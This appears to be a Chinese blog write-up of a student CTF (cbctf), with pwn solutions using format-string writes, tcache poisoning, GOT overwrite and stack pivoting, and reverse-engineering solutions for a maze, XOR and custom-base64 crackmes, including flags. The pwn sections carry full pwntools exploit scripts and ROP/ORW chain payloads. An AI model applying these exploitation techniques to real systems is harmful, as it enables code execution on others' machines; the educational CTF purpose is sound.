1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from platform import libc_verfrom pwn import *from hashlib import sha256import base64context.log_level='debug' context.arch = 'amd64' context.os = 'linux' rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2 **max_bits-1 ) | \ ((val & (2 **max_bits-1 )) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2 **max_bits-1 )) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2 **max_bits-1 )) io = lambda : r.interactive() sl = lambda a : r.sendline(a) sla = lambda a,b : r.sendlineafter(a,b) se = lambda a : r.send(a) sa = lambda a,b : r.sendafter(a,b) lg = lambda name,data : log.success(name + ":" + hex (data)) def proof_of_work (sh ): sh.recvuntil(" == " ) cipher = sh.recvline().strip().decode("utf8" ) proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4 , method='fixed' ) sh.sendlineafter("input your ????>" , proof) def z (): gdb.attach(r) def exp (): global r r=process('./ez_aaa' ) z() pd = "a" *0x38 +"\xcb\x46" se(pd) r.interactive() if __name__ == '__main__' : while True : try : exp() except : continue
(这么写exp其实是为了方便爆破)
ez_fmt
这题考察的对格式化字符串漏洞的利用,主要是%hn写
给了个循环,可以无限次fmt,没开pie存在backdoor,只要覆盖返回地址为backdoor就能getshell。
格式化字符里面能利用来写的主要是%n系列,有%n,%hn,%hhn分别对应写4,2,1字节。%n系列会把%n之前打印的字符字符串长度给写到一个地方,这个地方可能是寄存器指向的位置,可能是栈上的地址指向的位置。注意这里是指向的位置,也就是说如果栈上的P位置,有个地址指针A,那么通过%x$n(这里的x是未知数字,$是重定位符号)定位到栈P上,会给*A写一个值。所以如果想要写返回地址,我们需要栈上有个地方存了rbp+8这个栈地址(返回地址),但一般是没有的。不过栈上不缺栈地址,我们把它改成rbp+8即可如:
同样因为开了ASLR,这题也有16分之一的概率
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from platform import libc_verfrom pwn import *from hashlib import sha256import base64context.log_level='debug' context.arch = 'amd64' context.os = 'linux' rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2 **max_bits-1 ) | \ ((val & (2 **max_bits-1 )) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2 **max_bits-1 )) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2 **max_bits-1 )) io = lambda : r.interactive() sl = lambda a : r.sendline(a) sla = lambda a,b : r.sendlineafter(a,b) se = lambda a : r.send(a) sa = lambda a,b : r.sendafter(a,b) lg = lambda name,data : log.success(name + ":" + hex (data)) def proof_of_work (sh ): sh.recvuntil(" == " ) cipher = sh.recvline().strip().decode("utf8" ) proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4 , method='fixed' ) sh.sendlineafter("input your ????>" , proof) def z (): gdb.attach(r) def exp (): global r global libc r=process('./ez_fmt' ) pd = "%{}c%{}$hhn" .format (0x28 ,0x1f +7 ) sa("try!" ,pd) pd = "%{}c%{}$hn" .format (0x84b ,0x1f +7 +4 ) z() sa("try!" ,pd) sa("try!" ,"EOF\x00" ) r.interactive() if __name__ == '__main__' : exp()
ez_heap
2.27的tcache bin attack,UAF+tcache poison的板子题
学习堆的帖子推荐
南邮的winmt👴:[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
简单介绍一下各种bin
glibc特有的ptmalloc2堆管理器,它的管理核心就是通过各种链表(bins)以及管理链表的区域arena(表头)来维护缓冲区堆的申请和释放。bins中有单向链表fastbin和tcache bin,有双向链表unsorted bin ,small bin和large bin。学习CTF中的glibc堆利用,其实就是学习ptmalloc2对不同大小的size的chunk(堆块)的管理机制,也就是弄懂不同大小的size是怎么从各种bin中取出,又是怎么放入这些bin的,这其中因为链表的插入、删除的不严谨检测,会有什么可利用的漏洞…
题目解决思路
这题堆块上限是0x500,而且增删查改都有,也存在UAF(free过后没有把数组上的堆指针置为NULL),学到后面可以发现,所有的堆题利用,都能在这题打通,所以其实可以作为一个研究ptmalloc2堆的一个模板(甚至研究musl libc也能用),所以贴一下源码,可以当作调试的一个demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 void init() { setbuf(stdin, 0 ); setbuf(stdout, 0 ); setbuf(stderr, 0 ); } void menu() { puts("1.add" ); puts("2.edit" ); puts("3.show" ); puts("4.delete" ); puts("5.exit" ); printf("Your choice:" ); } char *list [MAXIDX]; size_t sz[MAXIDX]; int add(){ int idx,size; printf("Idx:" ); scanf("%d" ,&idx); if (idx<0 || idx>=MAXIDX) exit(1 ); printf("Size:" ); scanf("%d" ,&size); if (size<0 ||size>0x500 ) exit(1 ); list [idx] = (char*)malloc(size); sz[idx] = size; } int edit(){ int idx; printf("Idx:" ); scanf("%d" ,&idx); if (idx<0 || idx>=MAXIDX) exit(1 ); puts("context: " ); read(0 ,list [idx],sz[idx]); } int delete(){ int idx; printf("Idx:" ); scanf("%d" ,&idx); if (idx<0 || idx>=MAXIDX) exit(1 ); free(list [idx]); } int show(){ int idx; printf("Idx:" ); scanf("%d" ,&idx); if (idx<0 || idx>=MAXIDX) exit(1 ); printf("context: " ); puts(list [idx]); } int main(){ int choice; init(); while (1 ){ menu(); scanf("%d" ,&choice); if (choice==5 ){ return ; } else if (choice==1 ){ add(); } else if (choice==2 ){ show(); } else if (choice==3 ){ edit(); } else if (choice==4 ){ delete(); } } }
delet部分有个UAF,可以申请一个unsorted bin大小的堆块,来泄露libc地址。然后就是一个tcache bin attack,有两种思路,一种是edit修改key实现double free;另一种是edit修改fd实现tcache poison。两种思路都是为了能够申请出free_hook来修改,修改为one_gadget或者system都能getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 from platform import libc_verfrom pwn import *from hashlib import sha256import base64context.log_level='debug' context.arch = 'amd64' context.os = 'linux' rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2 **max_bits-1 ) | \ ((val & (2 **max_bits-1 )) >> (max_bits-(r_bits%max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & (2 **max_bits-1 )) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2 **max_bits-1 )) io = lambda : r.interactive() sl = lambda a : r.sendline(a) sla = lambda a,b : r.sendlineafter(a,b) se = lambda a : r.send(a) sa = lambda a,b : r.sendafter(a,b) lg = lambda name,data : log.success(name + ":" + hex (data)) def proof_of_work (sh ): sh.recvuntil(" == " ) cipher = sh.recvline().strip().decode("utf8" ) proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4 , method='fixed' ) sh.sendlineafter("input your ????>" , proof) def z (): gdb.attach(r) def cho (num ): sla("Your choice:" ,str (num)) def add (sz,idx ): cho(1 ) sla("Idx:" ,str (idx)) sla("Size:" ,str (sz)) def show (idx ): cho(2 ) sla("Idx:" ,str (idx)) def edit (idx,con ): cho(3 ) sla("Idx:" ,str (idx)) sa("context: " ,con) def delet (idx ): cho(4 ) sla("Idx:" ,str (idx)) def exp (): global r global libc r=process('./ez_heap' ) libc = ELF("./libc-2.27.so" ) add(0x450 ,0 ) add(0x450 ,1 ) delet(0 ) show(0 ) r.recvuntil("context: " ) libcbase = u64(r.recv(6 ).ljust(8 ,"\x00" )) - 0x3ebca0 lg("libcbase" ,libcbase) one = [0x4f2a5 ,0x4f302 ,0x10a2fc ] ogg = one[1 ] + libcbase free_hook = libcbase + libc.sym["__free_hook" ] add(0x80 ,2 ) delet(2 ) edit(2 ,p64(0 )*2 ) delet(2 ) edit(2 ,p64(free_hook-8 )) add(0x80 ,2 ) add(0x80 ,2 ) edit(2 ,p64(0 )+p64(ogg)) delet(1 ) r.interactive() if __name__ == '__main__' : exp() '''' orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall) orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(0xdeadbeef) pd=p64(gold_key)+p64(free_hook) pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00' pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd r.sendafter(">>",pd) flag=r.recvline() ''' ''' ##[+]: set libc func IO_file_jumps=0x1e54c0+libcbase IO_helper_jumps=0x1e4980+libcbase setcontext=libcbase+libc.sym['setcontext'] open_addr=libcbase+libc.sym['open'] read_addr=libcbase+libc.sym['read'] puts_addr=libcbase+libc.sym['puts'] pop_rdi_ret=libcbase+0x2858f pop_rsi_ret=libcbase+0x2ac3f pop_rdx_pop_rbx_ret=libcbase+0x1597d6 ret=libcbase+0x26699 ##[+]: large bin attack to reset TLS ##z() ##edit(4,p64(libcbase+0x1e4230)+) ##[+]: orw flag_addr = heap_base + 0x4770 + 0x100 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , flag_addr , puts_addr ).ljust(0x100,'\x00') + 'flag\x00' ''' ''''' rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr) link_4_addr = heap_base + 0xcd0 fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr) fake_link_map += p64(magic) + p64(ret) fake_link_map += p64(0) fake_link_map += rop_chain fake_link_map = fake_link_map.ljust(0xc8,'\0') fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP fake_link_map += p64(pop_rdi_ret) # RCX RIP fake_link_map = fake_link_map.ljust(0x100,'\x00') fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3 fake_link_map += p64(0x10) fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00') fake_link_map += p8(0x8) edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data edit(2,fake_link_map) ''' ''''' ##size is 0xf8 heap=heapbase+0x8d0 ##where is "nameless" pd='\x00'*0x18+p64(0)+p64(1) pd=pd.ljust(0x38,'\x00')+p64(heap)+p64(heap+0x4a) pd=pd.ljust(0xa0,'\x00')+p64(fake_io) pd=pd.ljust(0xd8,'a')+p64(IO_str_jumps) write(p64(fake_io),0xe0,pd) ''' ''' pwndbg> x/20i svcudp_reply+26 0x7f5cdf09931a <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] 0x7f5cdf09931e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] 0x7f5cdf099322 <svcudp_reply+34>: lea r13,[rbp+0x10] 0x7f5cdf099326 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 0x7f5cdf09932d <svcudp_reply+45>: mov rdi,r13 0x7f5cdf099330 <svcudp_reply+48>: call QWORD PTR [rax+0x28] ''' ''' ## gadgets pop_rdi_ret = 0x4008f6 pop_rsi_ret = 0x40416f pop_rdx_ret = 0x51d4b6 pop_rax_ret = 0x400a4f syscall = 0x4025ab leave_ret = 0x4015cb bss = 0xAD1600+0x500 pd1 = flat( pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 , syscall , leave_ret ) ##z() r.sendlineafter("flag\x00",0x178*"a" + p64(bss) + pd1) flag_addr = bss + 0x200 pd=flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 , syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 , syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 , syscall , 0xdeadbeef ).ljust(0x200,"a")+"./flag\x00" '''
got
本题我给了一个任意地址写
然后又下面给了个puts函数,所以直接将puts函数的got表改为system地址就成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' elf = ELF('./got' ) puts_got=elf.got['puts' ] io.recvuntil('system:' ) sys=io.recv(14 ) sys=int (sys,16 ) log.success(hex (sys)) io.recvuntil('addr:' ) io.sendline(str (puts_got)) io.recvuntil('val:' ) io.sendline(str (sys)) io.interactive()
stackmove
本题的话就是因为溢出不够,所以将栈迁移到给的global_buf中然后构造栈就ok了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *io=remote('124.222.96.143' ,10000 ) elf=ELF('./stackmove' ) pop_rsi_r15_ret=0x400851 pop_rdi_ret=0x400853 lea_ret=0x400708 stack_addr=0x600ca0 io.recvuntil('execv:' ) execv_addr=int (io.recv(14 ),16 ) payload1=p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_r15_ret)+p64(0 )*2 +p64(execv_addr) io.recvuntil('global:' ) io.send(b'/bin/sh\x00' +payload1) io.recvuntil('input:' ) payload2=b'A' *80 +p64(stack_addr)+p64(lea_ret) io.send(payload2) io.interactive( )
Reverse
ezmaze
这是一道迷宫题
主要逻辑如下,能输入的字符只有w,a,s,d
做迷宫题找到迷宫的地图就一目了然了
双击byte_402174后可以直接看到迷宫的样子
这里要注意将23h变成字符#移到下一行,即第一行前面加上两个#,第二行前面加上一个#,因为这些字符都是属于同一个数组的,只是ida识别的时候将其拆成了两行显示.
于是就有了如下迷宫
通过对主函数的分析,v3表示迷宫的行,v5表示迷宫的列(下标都从0开始),而v4表示我们走迷宫所用的步数
终点为(5,10)
起点为(1,1)
进行如下移动可以走出迷宫
得到flag cbctf{ssssddddddwwaawwddddssssd}
little_re
64位ida打开
最简单常见的花指令花指令,将E8patch成90即可反编译为伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __cdecl main (int argc, const char **argv, const char **envp) { std::ostream *v3; size_t v4; std::ostream *v5; std::ostream *v7; char Str[48 ]; __int64 Str2[4 ]; char v10; _main(); Str2[0 ] = 0x1212141628211F2C i64; Str2[1 ] = 0x191B133812121212 i64; Str2[2 ] = 0x27221D1D422A3818 i64; Str2[3 ] = 0x246A2F1E19172F31 i64; v10 = 0 ; v3 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "input something:" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v3); std::operator >><char ,std::char_traits<char >>(refptr__ZSt3cin, Str); if ( strlen (Str) == 32 ) { crypppppto (Str); v4 = strlen ((const char *)Str2); if ( !strncmp (Str, (const char *)Str2, v4) ) v5 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "Goodgood!" ); else v5 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "nono" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v5); return 1 ; } else { v7 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "nono" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v7); return 1 ; } }
简单的输入后进入cryppppto函数加密,同理去花可得到加密函数
1 2 3 4 5 6 7 8 9 10 11 12 void __fastcall crypppppto (char *a1) { char v1[12 ]; int i; strcpy (v1, "yolbby" ); for ( i = 0 ; i <= 31 ; ++i ) { a1[i] ^= v1[i % 6 ]; a1[i] += 18 ; } }
非常简单的循环异或
写脚本得出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <iostream> #include <exception> #include <string.h> using namespace std; int decry (char * enflag) { int i; char key[7 ]="yolbby" ; for (i = 0 ;i<32 ;i++){ enflag[i]-=0x12 ; enflag[i]^=key[i%6 ]; } } int main () { char enflag[33 ]={0x2c ,0x1f ,0x21 ,0x28 ,0x16 ,0x14 ,0x12 ,0x12 ,0x12 ,0x12 ,0x12 ,0x12 ,0x38 ,0x13 ,0x1b ,0x19 ,0x18 ,0x38 ,0x2a ,0x42 ,0x1d ,0x1d ,0x22 ,0x27 ,0x31 ,0x2f ,0x17 ,0x19 ,0x1e ,0x2f ,0x6a ,0x24 }; decry (enflag); cout<<enflag<<endl; return 0 ; } #cbctf{yolbby_need_a_girlfriend!}
没反调试,直接调也行。
crackme
main函数伪代码如图所示
进入sub_911090,并对函数传入的参数按下x查看交叉引用
Line38处的交叉引用表明我们输入的flag的长度需要满足36位
最后一个交叉引用将我们输入的字符串进行异或处理后传给byte_914440
而byte_914440的值将会与已知的数组dword_913138进行比较,如果不相同则输出wrong
现在我们唯一不知道的就是上面异或操作中的xmmword_914378数组
所以我们可以在此处打个断点,进行动态调试,并输入36个字符串(因为如果输入的字符串不满足36位程序将会退出,就可以得到xmmword_234378的值
写个脚本跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 xmmword_234378=[0x00000009, 0x000000FD, 0x00000059, 0x0000004B, 0x00000097, 0x00000063, 0x000000EE, 0x00000060, 0x000000A6, 0x0000008B, 0x0000002C, 0x000000EE, 0x00000041, 0x000000BD, 0x000000C1, 0x000000EB, 0x000000A3, 0x00000090, 0x00000026, 0x00000016, 0x000000BB, 0x0000009C, 0x0000005C, 0x00000022, 0x00000040, 0x000000BB, 0x00000040, 0x000000B4, 0x0000005C, 0x0000002B, 0x00000085, 0x00000036, 0x00000021, 0x00000093, 0x00000073, 0x000000B1] dword_233138=[0x0000006A, 0x0000009F, 0x0000003A, 0x0000003F, 0x000000F1, 0x00000018, 0x000000B7, 0x0000000F, 0x000000D3, 0x000000D4, 0x0000004D, 0x0000009C, 0x00000024, 0x000000E2, 0x000000B2, 0x00000084, 0x000000FC, 0x000000F7, 0x00000016, 0x00000079, 0x0000008B, 0x000000F8, 0x00000003, 0x00000056, 0x0000002F, 0x000000E4, 0x00000023, 0x000000C6, 0x0000003D, 0x00000048, 0x000000EE, 0x00000069, 0x0000004C, 0x000000F6, 0x00000052, 0x000000CC] for i in range(36): print(chr(xmmword_234378[i]^dword_233138[i]),end='') # cbctf{You_are_so_g0o0d_to_crack_me!}
catchit
出急了没出好,可以直接看函数变表base64,原意是想考个最简单的try-catch
控制流可以看到是个简单的try之后是简单的catch
预期做法应该是将抛出异常的地方进行patch,jmp到catch块。
将0x4018AC的代码patch成jmp 0x4018DA然后F5就可以看到完整的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { std::ostream *v3; char *exception; size_t v5; std::ostream *v6; std::ostream *v7; char v9[48 ]; char Str2; char v11[44 ]; char *Str1; char *Str; _main(); v3 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "input something :" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v3); std::operator >><char ,std::char_traits<char >>(refptr__ZSt3cin, v9); exception = (char *)_cxa_allocate_exception(8u i64); *(_QWORD *)exception = v9; Str = exception; Str2 = 0 ; qmemcpy (v11, "iAzDH4rJBdBFdAjnigLnH4jCdAfadXuTOTOTOA/ymda=" , sizeof (v11)); if ( strlen (exception) == 32 ) { Str1 = (char *)bujijojodebuliduo (Str); v5 = strlen (&Str2); if ( !strncmp (Str1, &Str2, v5) ) v6 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "Goodgood!" ); else v6 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "nono" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v6); } else { v7 = (std::ostream *)std::operator <<<std::char_traits<char >>(refptr__ZSt4cout, "nono" ); refptr__ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ (v7); } _cxa_end_catch(); return 1 ; }
然后bujijojodebuliduo就是加密函数,原本是想着最后全放到主函数里,给忘掉了哈哈,是个变表base64
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !